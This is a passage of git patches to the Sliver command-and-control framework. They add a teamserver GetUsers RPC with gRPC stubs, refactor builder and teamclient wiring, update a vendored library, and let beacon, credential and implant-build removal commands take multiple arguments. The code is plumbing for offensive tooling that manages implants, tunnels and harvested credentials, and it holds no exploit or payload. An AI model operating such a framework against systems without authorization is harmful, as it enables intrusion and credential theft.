rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions + 209, // 320: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension + 210, // 321: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions + 211, // 322: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension + 212, // 323: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward + 212, // 324: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward + 213, // 325: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks + 213, // 326: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks + 214, // 327: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders + 215, // 328: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers + 216, // 329: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell + 217, // 330: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd + 116, // 331: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks + 0, // 332: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty + 117, // 333: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData + 118, // 334: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel + 0, // 335: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty + 119, // 336: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData + 25, // 337: rpcpb.SliverRPC.Events:output_type -> clientpb.Event + 169, // [169:338] is the sub-list for method output_type + 0, // [0:169] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name diff --git a/protobuf/rpcpb/services.proto b/protobuf/rpcpb/services.proto index 67baf58d6d..117aedc9b0 100644 --- a/protobuf/rpcpb/services.proto +++ b/protobuf/rpcpb/services.proto @@ -8,8 +8,9 @@ import "clientpb/client.proto"; service SliverRPC { - // *** Version *** + // *** Teamclient *** rpc GetVersion(commonpb.Empty) returns (clientpb.Version); + rpc GetUsers(commonpb.Empty) returns (clientpb.Users); // *** Client Logs *** rpc ClientLog(stream clientpb.ClientLogData) returns (commonpb.Empty); diff --git a/protobuf/rpcpb/services_grpc.pb.go b/protobuf/rpcpb/services_grpc.pb.go index 875e4a7ac3..1291000cb8 100644 --- a/protobuf/rpcpb/services_grpc.pb.go +++ b/protobuf/rpcpb/services_grpc.pb.go @@ -23,6 +23,7 @@ const _ = grpc.SupportPackageIsVersion7 const ( SliverRPC_GetVersion_FullMethodName = "/rpcpb.SliverRPC/GetVersion" + SliverRPC_GetUsers_FullMethodName = "/rpcpb.SliverRPC/GetUsers" SliverRPC_ClientLog_FullMethodName = "/rpcpb.SliverRPC/ClientLog" SliverRPC_Kill_FullMethodName = "/rpcpb.SliverRPC/Kill" SliverRPC_Reconfigure_FullMethodName = "/rpcpb.SliverRPC/Reconfigure" @@ -196,8 +197,9 @@ const ( // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type SliverRPCClient interface { - // *** Version *** + // *** Teamclient *** GetVersion(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Version, error) + GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) // *** Client Logs *** ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) // *** Generic *** @@ -410,6 +412,15 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op return out, nil } +func (c *sliverRPCClient) GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) { + out := new(clientpb.Users) + err := c.cc.Invoke(ctx, SliverRPC_GetUsers_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) { stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...) if err != nil { @@ -2080,8 +2091,9 @@ func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) { // All implementations must embed UnimplementedSliverRPCServer // for forward compatibility type SliverRPCServer interface { - // *** Version *** + // *** Teamclient *** GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) + GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) // *** Client Logs *** ClientLog(SliverRPC_ClientLogServer) error // *** Generic *** @@ -2285,6 +2297,9 @@ type UnimplementedSliverRPCServer struct { func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) { return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") } +func (UnimplementedSliverRPCServer) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented") +} func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error { return status.Errorf(codes.Unimplemented, "method ClientLog not implemented") } @@ -2817,6 +2832,24 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetUsers(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetUsers_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetUsers(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ClientLog_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(SliverRPCServer).ClientLog(&sliverRPCClientLogServer{stream}) } @@ -5875,6 +5908,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "GetVersion", Handler: _SliverRPC_GetVersion_Handler, }, + { + MethodName: "GetUsers", + Handler: _SliverRPC_GetUsers_Handler, + }, { MethodName: "Kill", Handler: _SliverRPC_Kill_Handler, diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index 6b29a93874..b589d68a99 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -19,7 +19,6 @@ package builder */ import ( - "errors" "fmt" "os" "runtime" @@ -37,9 +36,9 @@ import ( "github.com/bishopfox/sliver/server/log" "github.com/reeflective/team/client" "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/server" "github.com/rsteube/carapace" "github.com/spf13/cobra" - "google.golang.org/grpc" ) var builderLog = log.NamedLogger("cli", "builder") @@ -56,12 +55,14 @@ const ( ) // Commands returns all commands for using Sliver as a builder backend. -func Commands(con *console.SliverClient) []*cobra.Command { +func Commands(con *console.SliverClient, team *server.Server) []*cobra.Command { builderCmd := &cobra.Command{ Use: "builder", Short: "Start the process as an external builder", Long: ``, - Run: runBuilderCmd, + Run: func(cmd *cobra.Command, args []string) { + runBuilderCmd(cmd, args, team) + }, } builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)") @@ -82,7 +83,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{builderCmd} } -func runBuilderCmd(cmd *cobra.Command, args []string) { +func runBuilderCmd(cmd *cobra.Command, args []string, team *server.Server) { configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) if err != nil { builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) @@ -121,7 +122,7 @@ func runBuilderCmd(cmd *cobra.Command, args []string) { externalBuilder.Templates = []string{"sliver"} // load the client configuration from the filesystem - startBuilderTeamclient(externalBuilder, configPath) + startBuilderTeamclient(externalBuilder, configPath, team) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { @@ -254,32 +255,10 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil } } -func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string) { - var rpc rpcpb.SliverRPCClient +func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string, team *server.Server) { + tc := new(transport.TeamClient) - gTeamclient := transport.NewTeamClient() - - // The teamclient requires hooks to bind RPC clients around its connection. - bindClient := func(clientConn any) error { - grpcClient, ok := clientConn.(*grpc.ClientConn) - if !ok || grpcClient == nil { - return errors.New("No gRPC client to use for service") - } - - rpc = rpcpb.NewSliverRPCClient(grpcClient) - - return nil - } - - var clientOpts []client.Options - clientOpts = append(clientOpts, - client.WithDialer(gTeamclient, bindClient), - ) - - teamclient, err := client.New("sliver", gTeamclient, clientOpts...) - if err != nil { - panic(err) - } + teamclient := team.Self(client.WithDialer(tc)) // Now use our teamclient to fetch the configuration. config, err := teamclient.ReadConfig(configPath) @@ -304,6 +283,8 @@ func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string teamclient.Connect(client.WithConfig(config)) defer teamclient.Disconnect() + rpc := rpcpb.NewSliverRPCClient(tc.Conn) + // Let the builder do its work, blocking. builder.StartBuilder(externalBuilder, rpc) } diff --git a/server/rpc/rpc-teamclient.go b/server/rpc/rpc-teamclient.go new file mode 100644 index 0000000000..9ac023e236 --- /dev/null +++ b/server/rpc/rpc-teamclient.go @@ -0,0 +1,73 @@ +package rpc + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "runtime" + + "github.com/bishopfox/sliver/client/version" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/core" +) + +// GetVersion - Get the server version +func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) { + dirty := version.GitDirty != "" + semVer := version.SemanticVersion() + compiled, _ := version.Compiled() + return &clientpb.Version{ + Major: int32(semVer[0]), + Minor: int32(semVer[1]), + Patch: int32(semVer[2]), + Commit: version.GitCommit, + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// GetUsers returns the list of teamserver users and their status. +func (ts *Server) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + // Fetch users from the teamserver user database. + users, err := ts.team.Users() + + userspb := make([]*clientpb.User, len(users)) + for i, user := range users { + userspb[i] = &clientpb.User{ + Name: user.Name, + Online: isOperatorOnline(user.Name), + LastSeen: user.LastSeen.Unix(), + Clients: int32(user.Clients), + } + } + + return &clientpb.Users{Users: userspb}, err +} + +func isOperatorOnline(commonName string) bool { + for _, operator := range core.Clients.ActiveOperators() { + if commonName == operator { + return true + } + } + return false +} diff --git a/server/rpc/rpc.go b/server/rpc/rpc.go index f0668a6495..2819e701de 100644 --- a/server/rpc/rpc.go +++ b/server/rpc/rpc.go @@ -21,27 +21,23 @@ package rpc import ( "context" "errors" - "runtime" "strings" "time" - "github.com/bishopfox/sliver/client/version" - "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/db" "github.com/bishopfox/sliver/server/log" + "github.com/reeflective/team/server" "google.golang.org/grpc/credentials" "google.golang.org/grpc/peer" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/reflect/protoreflect" ) -var ( - rpcLog = log.NamedLogger("rpc", "server") -) +var rpcLog = log.NamedLogger("rpc", "server") const ( minTimeout = time.Duration(30 * time.Second) @@ -49,6 +45,10 @@ const ( // Server - gRPC server type Server struct { + // Access all teamclient/teamserver base stuff. + // Users, credentials, server configs, loggers, etc. + team *server.Server + // Magical methods to break backwards compatibility // Here be dragons: https://github.com/grpc/grpc-go/issues/3794 rpcpb.UnimplementedSliverRPCServer @@ -75,26 +75,9 @@ type GenericResponse interface { } // NewServer - Create new server instance -func NewServer() *Server { +func NewServer(team *server.Server) *Server { core.StartEventAutomation() - return &Server{} -} - -// GetVersion - Get the server version -func (rpc *Server) GetVersion(ctx context.Context, _ *commonpb.Empty) (*clientpb.Version, error) { - dirty := version.GitDirty != "" - semVer := version.SemanticVersion() - compiled, _ := version.Compiled() - return &clientpb.Version{ - Major: int32(semVer[0]), - Minor: int32(semVer[1]), - Patch: int32(semVer[2]), - Commit: version.GitCommit, - Dirty: dirty, - CompiledAt: compiled.Unix(), - OS: runtime.GOOS, - Arch: runtime.GOARCH, - }, nil + return &Server{team: team} } // GenericHandler - Pass the request to the Sliver/Session From 0a22f66e624266d7bd8257256b67a3593816e10c Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sun, 30 Jul 2023 03:44:35 +0200 Subject: [PATCH 066/124] Update teamserver library dependency --- go.mod | 2 +- go.sum | 2 ++ .../reeflective/team/client/config.go | 14 ++++++++----- .../reeflective/team/client/directories.go | 2 ++ .../reeflective/team/client/options.go | 15 +------------ .../reeflective/team/internal/db/sql.go | 14 +++++++++---- .../github.com/reeflective/team/server/db.go | 3 ++- .../reeflective/team/server/directories.go | 2 ++ .../github.com/reeflective/team/server/log.go | 21 ++++++------------- .../reeflective/team/server/server.go | 7 ++++++- 10 files changed, 41 insertions(+), 41 deletions(-) diff --git a/go.mod b/go.mod index c7a073827d..c1d502267c 100644 --- a/go.mod +++ b/go.mod @@ -40,7 +40,7 @@ require ( github.com/ncruces/go-sqlite3 v0.8.1 github.com/reeflective/console v0.1.6 github.com/reeflective/readline v1.0.8 - github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 + github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 github.com/rsteube/carapace v0.37.3 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 diff --git a/go.sum b/go.sum index df65d357b5..e3e3fe420a 100644 --- a/go.sum +++ b/go.sum @@ -326,6 +326,8 @@ github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/ github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y= +github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 h1:FT77nbrQlbSz7yxL23ezc0zHu/xnu+hY5OG2PS+TyPg= +github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187/go.mod h1:6pibborkTGBH30FAz3R+tByK7NPVVkalQU0w90Koq90= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= diff --git a/vendor/github.com/reeflective/team/client/config.go b/vendor/github.com/reeflective/team/client/config.go index f4b4028d35..e4eafee293 100644 --- a/vendor/github.com/reeflective/team/client/config.go +++ b/vendor/github.com/reeflective/team/client/config.go @@ -53,7 +53,7 @@ type Config struct { Certificate string `json:"certificate"` } -func (tc *Client) initConfig() error { +func (tc *Client) initConfig() (err error) { cfg := tc.opts.config // We assume that any configuration passed with WithConfig() @@ -63,17 +63,21 @@ func (tc *Client) initConfig() error { } // Else fetch the unique config or prompt user for which. - if !tc.opts.local { + if tc.dialer != nil { configs := tc.GetConfigs() if len(configs) == 0 { - return tc.errorf("no config files found at %s", tc.ConfigsDir()) + err = fmt.Errorf("no configs found in %s", tc.ConfigsDir()) + } else { + cfg = tc.SelectConfig() } - - cfg = tc.SelectConfig() } // We must have a config. if cfg == nil { + if err != nil { + return fmt.Errorf("%w: %w", ErrNoConfig, err) + } + return ErrNoConfig } diff --git a/vendor/github.com/reeflective/team/client/directories.go b/vendor/github.com/reeflective/team/client/directories.go index 0c2129c992..448a2c0885 100644 --- a/vendor/github.com/reeflective/team/client/directories.go +++ b/vendor/github.com/reeflective/team/client/directories.go @@ -38,6 +38,8 @@ func (tc *Client) HomeDir() string { if tc.homeDir == "" { user, _ := user.Current() dir = filepath.Join(user.HomeDir, "."+tc.name) + } else { + dir = tc.homeDir } } else { dir = "." + tc.name diff --git a/vendor/github.com/reeflective/team/client/options.go b/vendor/github.com/reeflective/team/client/options.go index a43c03b74d..4b0b81d385 100644 --- a/vendor/github.com/reeflective/team/client/options.go +++ b/vendor/github.com/reeflective/team/client/options.go @@ -43,7 +43,6 @@ type opts struct { logFile string inMemory bool console bool - local bool stdout io.Writer config *Config logger *logrus.Logger @@ -166,24 +165,12 @@ func WithLogger(logger *logrus.Logger) Options { // // This option can be used multiple times, either when using // team/client.New() or when using the teamclient.Connect() method. -func WithDialer(dialer Dialer, hooks ...func(clientConn any) error) Options { +func WithDialer(dialer Dialer) Options { return func(opts *opts) { opts.dialer = dialer } } -// WithLocalDialer sets the teamclient to connect with an in-memory dialer -// (provided when creating the teamclient). This in effect only prevents -// the teamclient from looking and loading/prompting remote client configs. -// -// Because this is automatically called by the teamserver.Serve(client) -// function, you should probably not have any reason to use this option. -func WithLocalDialer() Options { - return func(opts *opts) { - opts.local = true - } -} - // WithNoDisconnect is meant to be used when the teamclient commands are used // in a closed-loop (readline-style) application, where the connection is used // more than once in the lifetime of the Go program. diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go index 27f589d5a5..ac9c0a43fd 100644 --- a/vendor/github.com/reeflective/team/internal/db/sql.go +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -83,10 +83,7 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { return nil, fmt.Errorf("%w: '%s'", ErrUnsupportedDialect, dbConfig.Dialect) } - err = dbClient.AutoMigrate( - &Certificate{}, - &User{}, - ) + err = dbClient.AutoMigrate(Schema()) if err != nil { dbLogger.Error(err) } @@ -111,6 +108,15 @@ func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { }), nil } +// Schema returns all objects which should be registered +// to the teamserver database backend. +func Schema() []any { + return []any{ + &Certificate{}, + &User{}, + } +} + func postgresClient(dsn string, log logger.Interface) (*gorm.DB, error) { return gorm.Open(postgres.Open(dsn), &gorm.Config{ PrepareStmt: true, diff --git a/vendor/github.com/reeflective/team/server/db.go b/vendor/github.com/reeflective/team/server/db.go index b8bb61a0ff..31bc97ca6a 100644 --- a/vendor/github.com/reeflective/team/server/db.go +++ b/vendor/github.com/reeflective/team/server/db.go @@ -169,6 +169,7 @@ func (ts *Server) initDatabase() (err error) { dbLogger := ts.NamedLogger("database", "database") if ts.db != nil { + err = ts.db.AutoMigrate(db.Schema()...) return } @@ -183,7 +184,7 @@ func (ts *Server) initDatabase() (err error) { } }) - return nil + return err } func (ts *Server) dbSession() *gorm.DB { diff --git a/vendor/github.com/reeflective/team/server/directories.go b/vendor/github.com/reeflective/team/server/directories.go index fb04e064f9..188aa7436f 100644 --- a/vendor/github.com/reeflective/team/server/directories.go +++ b/vendor/github.com/reeflective/team/server/directories.go @@ -41,6 +41,8 @@ func (ts *Server) HomeDir() string { if ts.homeDir == "" { user, _ := user.Current() dir = filepath.Join(user.HomeDir, "."+ts.name) + } else { + dir = ts.homeDir } } else { dir = "." + ts.name diff --git a/vendor/github.com/reeflective/team/server/log.go b/vendor/github.com/reeflective/team/server/log.go index 24a81c60c4..7b1729c6d1 100644 --- a/vendor/github.com/reeflective/team/server/log.go +++ b/vendor/github.com/reeflective/team/server/log.go @@ -76,9 +76,12 @@ func (ts *Server) AuditLogger() (*logrus.Logger, error) { // Initialize loggers in files/stdout according to options. func (ts *Server) initLogging() (err error) { - // By default, the stdout logger is never nil. - // We might overwrite it below if using our defaults. - // ts.stdoutLogger = log.NewStdio(logrus.WarnLevel) + // If user supplied a logger, use it in place of the + // file-based logger, since the file logger is optional. + if ts.opts.logger != nil { + ts.fileLog = ts.opts.logger + return nil + } logFile := filepath.Join(ts.LogsDir(), log.FileName(ts.Name(), true)) @@ -87,18 +90,6 @@ func (ts *Server) initLogging() (err error) { logFile = ts.opts.logFile } - // Ensure all teamserver-specific directories are writable. - // if err := ts.checkWritableFiles(); err != nil { - // return fmt.Errorf("%w: %w", ErrDirectory, err) - // } - - // If user supplied a logger, use it in place of the - // file-based logger, since the file logger is optional. - if ts.opts.logger != nil { - ts.fileLog = ts.opts.logger - return nil - } - level := logrus.Level(ts.opts.config.Log.Level) // Create any additional/configured logger and related/missing hooks. diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go index 27f04b743d..ad8cb3351a 100644 --- a/vendor/github.com/reeflective/team/server/server.go +++ b/vendor/github.com/reeflective/team/server/server.go @@ -90,7 +90,12 @@ func (ts *Server) Serve(cli *client.Client, opts ...Options) error { return err } - return cli.Connect(client.WithLocalDialer()) + // Use a fake config with a non-empty name. + cliOpts := []client.Options{ + client.WithConfig(&client.Config{User: "server"}), + } + + return cli.Connect(cliOpts...) } // ServeDaemon is a blocking call which starts the teamserver as daemon process, using From a285f404f769aa35cd9a0d6915fa3b78100c7649 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 5 Aug 2023 21:48:09 +0200 Subject: [PATCH 067/124] Switch some commands and completers to multiple args --- client/command/beacons/commands.go | 8 +- client/command/beacons/rm.go | 50 +++++++++--- client/command/creds/creds.go | 3 +- client/command/creds/rm.go | 85 ++++++++++++++------- client/command/generate/commands.go | 4 +- client/command/generate/helpers.go | 3 +- client/command/generate/implants-rm.go | 46 +++++------ client/command/generate/profiles-rm.go | 52 ++++++------- client/command/generate/traffic-encoders.go | 28 +++++-- 9 files changed, 177 insertions(+), 102 deletions(-) diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index 5e3349c868..3854737ebb 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -48,7 +48,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { BeaconsRmCmd(cmd, con, args) }, } - carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con)) + carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con).Usage("beacon to delete (optional, prompts if no args given)")) beaconsCmd.AddCommand(beaconsRmCmd) beaconsWatchCmd := &cobra.Command{ @@ -79,7 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { // BeaconIDCompleter completes beacon IDs. func BeaconIDCompleter(con *console.SliverClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { + callback := func(c carapace.Context) carapace.Action { if msg, err := con.ConnectComplete(); err != nil { return msg } @@ -98,7 +98,9 @@ func BeaconIDCompleter(con *console.SliverClient) carapace.Action { results = append(results, desc) } } - return carapace.ActionValuesDescribed(results...).Tag("beacons") + + return carapace.ActionValuesDescribed(results...).Tag("beacons"). + Invoke(c).Filter(c.Args).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/beacons/rm.go b/client/command/beacons/rm.go index c42fa11ff8..bd626eb193 100644 --- a/client/command/beacons/rm.go +++ b/client/command/beacons/rm.go @@ -19,23 +19,49 @@ package beacons */ import ( + "context" + "strings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/spf13/cobra" ) // BeaconsRmCmd - Display/interact with beacons. func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - beacon, err := SelectBeacon(con) - if err != nil { - con.PrintErrorf("%s\n", err) - return - } - grpcCtx, cancel := con.GrpcContext(cmd) - defer cancel() - _, err = con.Rpc.RmBeacon(grpcCtx, beacon) - if err != nil { - con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) - return + if len(args) > 0 { + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("Failed to get beacons: %s", err) + return + } + + for _, arg := range args { + for _, beac := range beacons.GetBeacons() { + if strings.HasPrefix(beac.ID, arg) { + grpcCtx, cancel := con.GrpcContext(cmd) + _, err = con.Rpc.RmBeacon(grpcCtx, beac) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + } + + cancel() + } + } + } + } else { + beacon, err := SelectBeacon(con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + grpcCtx, cancel := con.GrpcContext(cmd) + defer cancel() + _, err = con.Rpc.RmBeacon(grpcCtx, beacon) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + con.PrintInfof("Beacon removed (%s)\n", beacon.ID) } - con.PrintInfof("Beacon removed (%s)\n", beacon.ID) } diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 910122bd5d..8c8dbdbe3e 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -184,6 +184,7 @@ func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { } - return carapace.ActionValuesDescribed(results...).Tag("credentials") + return carapace.ActionValuesDescribed(results...).Tag("credentials"). + Invoke(c).Filter(c.Args).ToA() }) } diff --git a/client/command/creds/rm.go b/client/command/creds/rm.go index e10d54c41a..eace7891cb 100644 --- a/client/command/creds/rm.go +++ b/client/command/creds/rm.go @@ -20,6 +20,7 @@ package creds import ( "context" + "strings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" @@ -29,37 +30,67 @@ import ( // CredsCmd - Add new credentials. func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - var id string if len(args) > 0 { - id = args[0] - } - if id == "" { - credential, err := SelectCredential(false, clientpb.HashType_INVALID, con) + creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } - id = credential.ID - } - _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ - Credentials: []*clientpb.Credential{ - { - ID: id, + + if len(creds.Credentials) == 0 { + con.PrintInfof("No credentials 🙁\n") + return + } + + for _, arg := range args { + for _, cred := range creds.GetCredentials() { + if strings.HasPrefix(cred.ID, arg) { + _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ + Credentials: []*clientpb.Credential{ + { + ID: cred.ID, + }, + }, + }) + if err != nil { + con.PrintErrorf("Failed to delete credential: %s\n", con.UnwrapServerErr(err)) + return + } + } + } + } + } else { + var id string + if id == "" { + credential, err := SelectCredential(false, clientpb.HashType_INVALID, con) + if err != nil { + con.PrintErrorf("%s\n", err) + return + } + + id = credential.ID + } + _, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{ + Credentials: []*clientpb.Credential{ + { + ID: id, + }, }, - }, - }) - if err != nil { - con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) - return - } - creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) - return - } - if len(creds.Credentials) == 0 { - con.PrintInfof("No credentials 🙁\n") - return + }) + if err != nil { + con.PrintErrorf("Failed to delete credential: %s\n", con.UnwrapServerErr(err)) + return + } + + creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + if len(creds.Credentials) == 0 { + con.PrintInfof("No credentials 🙁\n") + return + } + PrintCreds(creds.Credentials, con) } - PrintCreds(creds.Credentials, con) } diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 7781df4f8b..fb2a574674 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -213,7 +213,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.RmStr, Short: "Remove a profile", Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), + Args: cobra.MinimumNArgs(1), Run: func(cmd *cobra.Command, args []string) { ProfilesRmCmd(cmd, con, args) }, @@ -265,7 +265,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.RmStr, Short: "Remove implant build", Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), - Args: cobra.ExactArgs(1), + Args: cobra.MinimumNArgs(1), Run: func(cmd *cobra.Command, args []string) { ImplantsRmCmd(cmd, con, args) }, diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 32c7c1306d..ad35682a83 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -171,7 +171,8 @@ func 